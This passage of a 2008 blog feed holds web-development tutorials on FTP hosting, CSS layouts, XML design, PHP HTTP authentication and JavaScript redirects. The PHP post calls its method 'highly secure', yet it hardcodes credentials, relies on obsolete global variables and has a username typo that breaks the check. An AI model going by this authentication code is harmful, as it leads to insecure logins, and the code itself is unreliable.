/&gt;&lt;br /&gt;# Price. Like file size limits, look for a pricing system that meets your budget needs. As your needs grow, you can increase your online storage limits.&lt;br /&gt;&lt;br /&gt;# Compatibility with FTP software if you're going to be using external software. Many FTP sites require FTP software compatibility. This is fine if you're both comfortable using the software and your service is compatible with it. However, some offer free web based software so all you have to do is logon and start sharing files. No software installs are required.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;# Security. Look for an FTP hosting site that gives you the security you need. If you're exchanging confidential information, proprietary information, or are working on behalf of a client who needs confidentiality, then security is extremely important. Not all hosting sites are created equal. Look for one that takes security seriously.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;# Customer service. When you're dealing with any business, customer service is important. However it is particularly important when you're storing and sharing information. You need customer service that is responsive and available.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Step Two&lt;/span&gt;. Create an account. Designate administrative users and users who have access to specific folders. Create passwords and logon information for users. Access can be expanded later so it is fine to limit access in the beginning. Be sure to make note of passwords and user account information so you can keep track of who has access to what. The better services out there will provide you with a list of your users and folders so you can visually see who has access to which folder.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Step Three&lt;/span&gt;. Create folders. Remember to name them appropriately so you will be able to quickly and easily recognize your respective clients folders. Directories and sub-directories can be created to make online storage organized and efficient.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Step Four&lt;/span&gt;. Add your users and assign them to their specific folder. For example, if you're working with a business partner on a new business, a folder can be created with the business name. In the folder you could store marketing strategies, contracts and agreements, research, business plans and even profit and loss projections. The folder can be assigned and secured so that it can be accessed only by yourself and your business partner. As the systems administrator you will have full access to all the folders you create. The users you create will only be able to access the folder you assign to them.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Step Five&lt;/span&gt;. Upload &amp; Download files. Uploading &amp; downloading files can be handled a number of ways. The easiest, if it is available, is to simply use the free web based software provided by the FTP service provider. This process is as simple as clicking a button that says "Upload my files" and clicking on the appropriate file. If however you'd prefer to use an FTP client software program like CuteFTP, Filezilla, FTP Voyager, Smart FTP, Ipswitch, or Fetch, then you'll need to follow the instructions of the specific software. Most FTP client software is easy to use and function the same basic way. The other option is to download files with your web browser. There are limitations on file size but this is also a fairly straight forward cut and paste option.&lt;br /&gt;Step Six. Log off. Yep, that's it. Setting up an FTP hosting site is really easy when you have the right provider. With some providers, customization is an option too. Users can customize their site so their business logo and company name appear when users log onto the account.&lt;br /&gt;&lt;br /&gt;FTP hosting is one of the simplest, easiest, and most cost effective means of sharing large files in a secure and easily accessible manner.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8191367375415289842-7873985267080446073?l=webnology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webnology.blogspot.com/feeds/7873985267080446073/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8191367375415289842&amp;postID=7873985267080446073' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/7873985267080446073'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/7873985267080446073'/><link rel='alternate' type='text/html' href='http://webnology.blogspot.com/2008/07/how-to-set-up-ftp-site-in-6-easy-steps.html' title='How To Set Up An FTP Site In 6 Easy Steps!'/><author><name>unni</name><uri>http://www.blogger.com/profile/07413941466960411392</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8191367375415289842.post-1359253818946047861</id><published>2008-07-05T01:08:00.000-07:00</published><updated>2008-07-05T01:10:19.540-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='web design'/><category scheme='http://www.blogger.com/atom/ns#' term='css'/><title type='text'>Using CSS Instead of Tables</title><content type='html'>The following article will show you why to stay away from tables when designing a site.&lt;br /&gt;&lt;br /&gt;Most web developers and designers will tell you to stay away from tables when developing web sites, of course there are some exceptions, like forms, and data. Instead they will tell you to use CSS. When designing your web site you should use CSS, along with the HTML tag. Now, you may be asking, why? The reasons are below!&lt;br /&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;The following article will show you why to stay away from tables when designing a site.&lt;br /&gt;&lt;br /&gt;Most web developers and designers will tell you to stay away from tables when developing web sites, of course there are some exceptions, like forms, and data. Instead they will tell you to use CSS. When designing your web site you should use CSS, along with the HTML tag. Now, you may be asking, why? The reasons are below!&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;1. Tabular Data. Not layouts.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Tables are for Tabular Data. They simply are not for designing a page. Here is a good page at about.com that explains Tabular Data.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;2. Nested Tables&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Nested tables is a common way to make layouts with tables. With nested tables, one, or more, tables are placed inside each other. There is a problem when designing a page this way, it takes the browser longer to render your page. With CSS there is way less code, and your code is cleaner, therefor it is easier on the browser.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;3. Changing fonts, colors, and layouts.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Lets say you had a site with 100 pages, with tables, and you wanted to change the header of every page to blue instead of red. With CSS you could go into the CSS file, included on every one of those 100 pages, and change the font-color to blue. It would then update all of your pages with the color blue. With tables you would have to open every one of those pages and change the color.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;4. Invalid XHTML&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;When using tables for your web page layout, you are writing invalid XHTML. You should only use tables when you are working with Tabular Data, as I stated above.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;5. Smaller HTML files&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;No one wants a huge HTML file, full of messy code, right? Well, this is just another reason to use CSS. Since you can call your CSS style sheet from external file, it doesn't even need to be in your HTML file to work, making it even smaller.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8191367375415289842-1359253818946047861?l=webnology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webnology.blogspot.com/feeds/1359253818946047861/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8191367375415289842&amp;postID=1359253818946047861' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/1359253818946047861'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/1359253818946047861'/><link rel='alternate' type='text/html' href='http://webnology.blogspot.com/2008/07/using-css-instead-of-tables.html' title='Using CSS Instead of Tables'/><author><name>unni</name><uri>http://www.blogger.com/profile/07413941466960411392</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8191367375415289842.post-2774153146618355262</id><published>2008-07-04T20:47:00.000-07:00</published><updated>2008-07-04T20:54:25.267-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='xml'/><title type='text'>Common XML design mistakes and how to avoid them(Few tips for smart architecture with XML)</title><content type='html'>XML suffers from an all-too-common problem with new technologies: It cant be called "buzzworditis." Like the C++ language and client-server architecture before that, XML has visibility at the executive level -- the nontechnical executive level. Which leads to corporate memos insisting that "entire systems" need to be somehow "converted" to XML for the good of the company. However, like C++ and client-server architecture, XML isn't an answer in and of itself; it's simply a tool you can use to help build your technical solution. By understanding the strengths and weaknesses of XML compared to other possible architectural choices, you can minimize or prevent major headaches later in the development (or maintenance) cycle. This column recommends following four general design guidelines for the judicious use of XML in the data architecture of your systems.&lt;br /&gt;&lt;span class="fullpost"&gt;XML suffers from an all-too-common problem with new technologies: It cant be called "buzzworditis." Like the C++ language and client-server architecture before that, XML has visibility at the executive level -- the nontechnical executive level. Which leads to corporate memos insisting that "entire systems" need to be somehow "converted" to XML for the good of the company. However, like C++ and client-server architecture, XML isn't an answer in and of itself; it's simply a tool you can use to help build your technical solution. By understanding the strengths and weaknesses of XML compared to other possible architectural choices, you can minimize or prevent major headaches later in the development (or maintenance) cycle. This column recommends following four general design guidelines for the judicious use of XML in the data architecture of your systems.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Tip 1: If you don't need it, throw it away&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;One thing that many architects don't initially get about XML is that it's just a way to represent information. There's nothing magical about an XML document: It just shows how various pieces of information relate to one another. When you receive a document from an external source that has information you know you'll never use (such as internal reference numbers from that source that have no bearing on your system), toss them! Use an XSLT style sheet or some other mechanism to filter out the information you want to keep and drop the information you don't want. Remember, it's always going to be more efficient to filter the data once (as it comes into your system) than every time you need to access it. Similarly, if you receive information about seven million customers in one monster document, but the information would be more useful to you in separate documents, break it into one document per customer. After all, if you received a fixed-width file from a mainframe system, you almost certainly wouldn't keep it around in that form because it wouldn't be particularly useful. Don't be afraid to dissect, reorganize, or otherwise modify XML documents to suit your needs.&lt;br /&gt;....................................................................................&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Tip 2: Don't use XML for searching&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;XML documents (by themselves) are not well suited to being searched. Because they're just flat text, any of XML's native searching mechanisms (such as XPath) must parse the entire document (or documents) to locate the piece (or pieces) you're interested in. If you're trying to work with that single document with information about seven million customers, searching would be extremely inefficient. If you break the document up into smaller documents -- say, one per customer -- the problem still occurs: To find the particular customer you're looking for, you need to parse each document until you find the appropriate one. The only good solution for searching XML documents is to introduce some sort of indexing mechanism -- either a relational database index or some sort of native XML indexing tool -- that significantly reduces the amount of information that has to be processed to locate the document (or document fragment) you're interested in. When you have data-oriented information (as opposed to text-oriented information such as a book manuscript), a relational database is well suited for this task, and it provides other benefits, as you'll see in the next tip.&lt;br /&gt;....................................................................................&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Tip 3: Don't use XML for summarization&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Summarizing information stored in XML documents is also very inefficient. The native language provided by XPath contains only the bare minimum of aggregation functionality, and even this is not easily usable if the information you want to summarize is found in more than one document. Also, summarization presents the same problem as searching: Each document must be parsed to discover and extract the information being summarized. Again, I recommend indexing the information, thus reducing the amount of information to sift to discover the pieces that are being operated on. Alternatively, you could generate an additional document that contains summary information as detail XML documents are introduced into the system. However, that would not allow you to do ad hoc summarization, and it can be a bit of a management chore. For the best flexibility for summarization tasks, a relational database is really the only good choice; most off-the-shelf XML indexers do not expose the indexes themselves for direct programmatic manipulation.&lt;br /&gt;....................................................................................&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Tip 4: Use XML to drive rendering&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;One real power of XML lies in its ability (via XSLT) to render its contents to various other forms. This is especially crucial if your system needs to support various means of data consumption -- through an HTML interface such as a desktop Web browser, through a portable device using WML, or to a data-transfer standard agreed upon by your industry. Relational data can drive rendering, too, but it's not as good at the job. Each possible rendering requires significant coding time. Also, if a request is received to render a piece of information that you have stored as an atomic XML document (such as a single customer), you can do so without touching the indexing system, which frees up cycles on that system to support the searching and summarization of the data as necessary.&lt;br /&gt;....................................................................................&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Conclusion&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;This column looked at some of the ways XML fits into an overall system architecture and where it does (and doesn't) make sense. You've seen that some sort of indexing mechanism -- ideally a relational database -- should be part of your overall architecture in most cases. In short, use XML to perform the tasks it excels at, such as driving a rendering system.&lt;br /&gt;&lt;br /&gt;As you're architecting (or rearchitecting) your systems, remember that XML is just another tool in your development toolbox. You wouldn't use a screwdriver to hammer in a nail. Don't try to make XML do things it isn't designed to do well.&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8191367375415289842-2774153146618355262?l=webnology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webnology.blogspot.com/feeds/2774153146618355262/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8191367375415289842&amp;postID=2774153146618355262' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/2774153146618355262'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/2774153146618355262'/><link rel='alternate' type='text/html' href='http://webnology.blogspot.com/2008/07/common-xml-design-mistakes-and-how-to.html' title='Common XML design mistakes and how to avoid them(Few tips for smart architecture with XML)'/><author><name>unni</name><uri>http://www.blogger.com/profile/07413941466960411392</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8191367375415289842.post-4244222224481782894</id><published>2008-07-04T20:30:00.000-07:00</published><updated>2008-07-04T20:38:30.669-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='web server'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='php'/><category scheme='http://www.blogger.com/atom/ns#' term='apache'/><title type='text'>Highly secure Apache HTTP Authentication method  with PHP</title><content type='html'>At one time or another, we’ve all had to log into a password-protected Web site. When building a site, you may decide to require this of your visitors for several reasons. The first, and most obvious, is to protect secure information so that it can only be viewed by a select few. But you may also choose to assign usernames and passwords to casual visitors. This may be done in order to keep track of who is viewing your site, or to provide personalized options and services to your visitors.&lt;br /&gt;&lt;br /&gt;The easiest way to password-protect a site is to use HTTP Authentication, where if a browser’s request for a protected page is not accompanied by the correct username and password,&lt;br /&gt;&lt;span class="fullpost"&gt;At one time or another, we’ve all had to log into a password-protected Web site. When building a site, you may decide to require this of your visitors for several reasons. The first, and most obvious, is to protect secure information so that it can only be viewed by a select few. But you may also choose to assign usernames and passwords to casual visitors. This may be done in order to keep track of who is viewing your site, or to provide personalized options and services to your visitors.&lt;br /&gt;&lt;br /&gt;The easiest way to password-protect a site is to use HTTP Authentication, where if a browser’s request for a protected page is not accompanied by the correct username and password, the Web server replies with an HTTP 401 error – which means “Unauthorized Access” – and an invitation for the browser to re-submit the request with a proper username and password. From the user’s point of view, most of this dialogue is hidden. Following that first failed request, the browser prompts the user (in a dialog box) for a username and password, and then re-submits the request, this time with the authentication information attached. Assuming the username/password combo is on the list of allowed users, the Web server then sends the page requested. The Web browser will likewise continue to send that username/password with all subsequent requests.&lt;br /&gt;&lt;br /&gt;The most common way to set up an HTTP Authentication scheme is using an Apache “htaccess” file (see http://hoohoo.ncsa.uiuc.edu/docs/tutorials/user.html), but this method has disadvantages. Making the list of authorized users dynamic (so that users could register themselves and gain immediate access to your site, for example) can involve some pretty twisty server-side scripts that would have to manipulate the htaccess file(s) to add and remove users as appropriate. And keeping any kind of record as to who is accessing what using which username/password combinations is next to impossible using the basic support for HTTP Authentication in most Web servers.&lt;br /&gt;&lt;br /&gt;Enter PHP, a free, open-source, cross-platform, server-side scripting language. When installed as an Apache module (this will not work with the CGI and ISAPI versions), PHP lets you handle HTTP Authentication by yourself, using any means you like to determine whether to accept or deny access to a Web site.&lt;br /&gt;From here on I’ll assume that you are familiar with the basics of PHP. If this language is new to you, or if you need a refresher, Part 3 of my Building a Database-Driven Web Site series should bring you up to speed.&lt;br /&gt;&lt;br /&gt;When installed as an Apache module, PHP provides two special global variables: $PHP_AUTH_USER and $PHP_AUTH_PW. These contain the username and password that accompanied the current HTTP request, respectively. Using PHP’s header() function, you can then respond with an HTTP 401 error when the username, password, or both are incorrect.&lt;br /&gt;&lt;br /&gt;Let’s look at some sample code for a page that may only be viewed if the user enters username “myuser” and password “mypass”:&lt;br /&gt;&lt;br /&gt;&amp;lt;?php&lt;br /&gt;if ($PHP_AUTH_USER != “mysuser”&lt;br /&gt;   or $PHP_AUTH_PW != “mypass”):&lt;br /&gt; // Bad or no username/password.&lt;br /&gt; // Send HTTP 401 error to make the&lt;br /&gt; // browser prompt the user.&lt;br /&gt; header("WWW-Authenticate: " .&lt;br /&gt;        "Basic realm=\”Protected Page: " .&lt;br /&gt;        "Enter your username and password " .&lt;br /&gt;        "for access.\””);&lt;br /&gt; header(“HTTP/1.0 401 Unauthorized”);&lt;br /&gt; // Display message if user cancels dialog&lt;br /&gt; ?&amp;gt;&lt;br /&gt; &amp;lt;HTML&amp;gt;&lt;br /&gt; &amp;lt;HEAD&amp;gt;&amp;lt;TITLE&amp;gt;Authorization Failed&amp;lt;/TITLE&amp;gt;&amp;lt;/HEAD&amp;gt;&lt;br /&gt; &amp;lt;BODY&amp;gt;&lt;br /&gt; &amp;lt;H1&amp;gt;Authorization Failed&amp;lt;/H1&amp;gt;&lt;br /&gt; &amp;lt;P&amp;gt;Without a valid username and password,&lt;br /&gt;    access to this page cannot be granted.&lt;br /&gt;    Please click ‘reload’ and enter a&lt;br /&gt;    username and password when prompted.&lt;br /&gt; &amp;lt;/P&amp;gt;&lt;br /&gt; &amp;lt;/BODY&amp;gt;&lt;br /&gt; &amp;lt;/HTML&amp;gt;&lt;br /&gt;&amp;lt;?php else: ?&amp;gt;&lt;br /&gt; ...page contents here...&lt;br /&gt;&amp;lt;?php endif; ?&amp;gt;&lt;br /&gt;&lt;br /&gt;As you can see, checking the username and password entered is as simple as checking the variables $PHP_AUTH_USER and $PHP_AUTH_PW. When an incorrect user/pass combination is detected, you respond with two HTTP headers (using the PHP header function):&lt;br /&gt;&lt;br /&gt;WWW-Authenticate: Basic realm=”Prompt the user here.”&lt;br /&gt;HTTP/1.0 401 Unauthorized&lt;br /&gt;&lt;br /&gt;The first line informs the Web browser that Basic authentication is to be used. This just means that authentication is to be done with a username and password. The realm option lets the browser know when a particular username/password should be used when navigating throughout a group of Web pages. All pages that should use the same username/password (thus saving the user from having to re-enter them for every page) should have the same realm specified. Since this string is displayed in the dialog prompting the user, it’s an ideal place to put a message (for example: “If you’re a new user, enter ‘guest’ for your username and leave the password blank.”). Note that the double quotes in this line must be escaped with backslashes to prevent them from interfering with the double quotes surrounding the string in your PHP code.&lt;br /&gt;&lt;br /&gt;The second line is a standard HTTP response code that lets the browser know that the username/password entered (if any) was incorrect, and that the user should be prompted to (re)enter them.&lt;br /&gt;&lt;br /&gt;To protect an entire site, you would typically use PHP’s include function to use the code that performs the username/password check in every file on your site that you want protected without having to retype said code on every page.&lt;br /&gt;&lt;br /&gt;I recently used this technique on a site that I set up for a small group of people working on a project together. I issued a single username/password combination that gave them access to the registration page, where each of them would create a personal username/password combination. The registration page would store those combinations in a MySQL database (for more information on this, see my Building a Database-Driven Web Site article series). All the other pages on the site would then access that database to determine if a given username/password combination was allowed to access the site or not.&lt;br /&gt;&lt;br /&gt;This and other creative possibilities for making your password protection system more flexible make HTTP Authentication using PHP an extremely handy tool to have in your arsenal.&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8191367375415289842-4244222224481782894?l=webnology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webnology.blogspot.com/feeds/4244222224481782894/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8191367375415289842&amp;postID=4244222224481782894' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/4244222224481782894'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/4244222224481782894'/><link rel='alternate' type='text/html' href='http://webnology.blogspot.com/2008/07/real-apache-http-authentication-with.html' title='Highly secure Apache HTTP Authentication method  with PHP'/><author><name>unni</name><uri>http://www.blogger.com/profile/07413941466960411392</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8191367375415289842.post-4473222097448135230</id><published>2008-07-04T10:43:00.000-07:00</published><updated>2008-07-04T10:46:12.394-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='javascript'/><category scheme='http://www.blogger.com/atom/ns#' term='javascript tips'/><title type='text'>Redirecting your visitors to the preferred form of your URL using JavaScript</title><content type='html'>Do you have multiple entrances to your site and looking for a client-side solution that can redirect your visitors to the preferred entrance?&lt;br /&gt; &lt;br /&gt;For example, you may have multiple domain names pointing to the same site -- domain_a.com, domain_b.com and domain_c.com. &lt;br /&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;Do you have multiple entrances to your site and looking for a client-side solution that can redirect your visitors to the preferred entrance?&lt;br /&gt; &lt;br /&gt;For example, you may have multiple domain names pointing to the same site -- domain_a.com, domain_b.com and domain_c.com. Although you want to keep all of your domains either because you want to reserve those names, because your marketing department convinced you that having multiple names pointing to the same site will attract more visitors or some other reason, you may prefer that the visitors end up at the same domain. You may want to redirect visitors from domain_b.com and domain_c.com to domain_a.com for example.&lt;br /&gt; &lt;br /&gt;Following is a client-side solution to redirecting visitors to your preferred domain. Simply copy and paste it on to your home page just below the tag. &lt;br /&gt;&lt;br /&gt;&amp;lt;script type="text/javascript" language="JavaScript"&amp;gt;&lt;br /&gt;&amp;lt;!-- &lt;br /&gt;if( -1 == location.href.&lt;br /&gt;           toLowerCase().&lt;br /&gt;           indexOf('domain_a.com') )&lt;br /&gt;{&lt;br /&gt;  location.href = 'http://domain_a.com';&lt;br /&gt;}&lt;br /&gt;// --&amp;gt;&lt;br /&gt;&amp;lt;/script&amp;gt;&lt;br /&gt;&lt;br /&gt;bove code will check if domain_a.com is a part of the current URL. If not, it will automatically redirect the visitor to http://domain_a.com. One of the advantages is that this code will work even if you have a single version of your home page that has multiple domain names pointing to it.&lt;br /&gt; &lt;br /&gt;Of course you can modify the same code to redirect to a specific page URL as well. &lt;br /&gt;&lt;br /&gt;NOTE : Be sure to use only the required portion of your URL and to enter it in lowercase inside the function "indexOf()". If your complete URL is http://www.mycompany.com/mypage.html, but you can get to the same page using just mycompany.com/mypage.html, use the latter version of the URL. On the other hand, use the full URL for location.href.&lt;br /&gt;&lt;br /&gt;The following code will redirect visitors to http://www.mycompany.com/mypage.html only if mycompany.com/mypage.html is not a part of the URL they typed: &lt;br /&gt;&lt;br /&gt;&amp;lt;script type="text/javascript" language="JavaScript"&amp;gt;&lt;br /&gt;&amp;lt;!-- &lt;br /&gt;if( -1 == location.href.&lt;br /&gt;           toLowerCase().&lt;br /&gt;           indexOf('mycompany.com/mypage.html') )&lt;br /&gt;{&lt;br /&gt;  location.href = &lt;br /&gt;    'http://www.mycompany.com/mypage.html';&lt;br /&gt;}&lt;br /&gt;// --&amp;gt;&lt;br /&gt;&amp;lt;/script&amp;gt;&lt;br /&gt;&lt;br /&gt;If you run your own web server, have unique IP addresses for your multiple domains or your web space provider is able to redirect visitors otherwise, you maybe able to implement a server-side solution to redirect visitors instead.&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8191367375415289842-4473222097448135230?l=webnology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webnology.blogspot.com/feeds/4473222097448135230/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8191367375415289842&amp;postID=4473222097448135230' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/4473222097448135230'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/4473222097448135230'/><link rel='alternate' type='text/html' href='http://webnology.blogspot.com/2008/07/redirecting-your-visitors-to-preferred.html' title='Redirecting your visitors to the preferred form of your URL using JavaScript'/><author><name>unni</name><uri>http://www.blogger.com/profile/07413941466960411392</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8191367375415289842.post-2031478412236084893</id><published>2008-07-04T10:38:00.000-07:00</published><updated>2008-07-04T10:40:45.486-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='javascript'/><category scheme='http://www.blogger.com/atom/ns#' term='javascript tips'/><title type='text'>How can browser specific content be delivered using JavaScript?</title><content type='html'>If you have a need to deliver browser specific web pages and if you don't have a server-side script to do this with, take a look at the following HTML/JavaScript code:&lt;br /&gt;&lt;span style="font-style:italic;"&gt;&lt;br /&gt;&amp;lt;SCRIPT LANGUAGE="JavaScript" TYPE="text/javascript"&amp;gt;&lt;br /&gt;&amp;lt;!--&lt;br /&gt;  if( -1 != navigator.userAgent.&lt;br /&gt;      indexOf ("AOL") )&lt;br /&gt;  {&lt;br /&gt;    // load America Online version&lt;br /&gt;    location.href="aol.htm";&lt;br /&gt;  }&lt;br /&gt;  else&lt;br /&gt;  if( -1 != navigator.userAgent.&lt;br /&gt;      indexOf ("MSIE") )&lt;br /&gt;  {&lt;br /&gt;    // load Microsoft Internet &lt;br /&gt;    // Explorer version&lt;br /&gt;    location.href="msie.htm";&lt;br /&gt;  }&lt;br /&gt;  else&lt;br /&gt;  if( -1 != navigator.userAgent.&lt;br /&gt;      indexOf ("Mozilla") )&lt;br /&gt;  {&lt;br /&gt;    // load Netscape version&lt;br /&gt;    location.href="netscape.htm";&lt;br /&gt;  }&lt;br /&gt;  else&lt;br /&gt;  {&lt;br /&gt;    // load other version&lt;br /&gt;    location.href="other.htm";&lt;br /&gt;  }&lt;br /&gt;--&amp;gt;&lt;br /&gt;&amp;lt;/SCRIPT&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;You can simply plug in above tags after replacing "netscape.htm" with the URL to your Netscape specific page, "other.htm" with your generic page's URL, "MSIE.htm" with the Microsoft Internet Explorer version of the page, etc. &lt;br /&gt;&lt;span class="fullpost"&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8191367375415289842-2031478412236084893?l=webnology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webnology.blogspot.com/feeds/2031478412236084893/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8191367375415289842&amp;postID=2031478412236084893' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/2031478412236084893'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/2031478412236084893'/><link rel='alternate' type='text/html' href='http://webnology.blogspot.com/2008/07/how-can-browser-specific-content-be.html' title='How can browser specific content be delivered using JavaScript?'/><author><name>unni</name><uri>http://www.blogger.com/profile/07413941466960411392</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8191367375415289842.post-5050936067404915407</id><published>2008-07-04T10:19:00.000-07:00</published><updated>2008-07-04T10:36:49.981-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='javascript'/><category scheme='http://www.blogger.com/atom/ns#' term='javascript tips'/><title type='text'>How to hide JavaScript code from non-JavaScript enabled browsers</title><content type='html'>Its easy to hi Javascript from Non-javascript based browsers..just use the script like done below : &lt;br /&gt;&lt;br /&gt;&amp;lt;SCRIPT LANGUAGE="JavaScript" TYPE="text/javascript"&amp;gt;&lt;br /&gt;&lt;br /&gt;  &amp;lt;!--&lt;br /&gt;&lt;br /&gt;  ... your JavaScript code goes here  ...&lt;br /&gt;  ... this code will be hidden from   ...&lt;br /&gt;  ... non-JavaScript enabled browsers ...&lt;br /&gt;&lt;br /&gt;  //--&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;/SCRIPT&amp;gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8191367375415289842-5050936067404915407?l=webnology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webnology.blogspot.com/feeds/5050936067404915407/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8191367375415289842&amp;postID=5050936067404915407' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/5050936067404915407'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/5050936067404915407'/><link rel='alternate' type='text/html' href='http://webnology.blogspot.com/2008/07/pop-up-windows-with-little-help-from.html' title='How to hide JavaScript code from non-JavaScript enabled browsers'/><author><name>unni</name><uri>http://www.blogger.com/profile/07413941466960411392</uri><email>noreply@blogger.com</email><gd:image 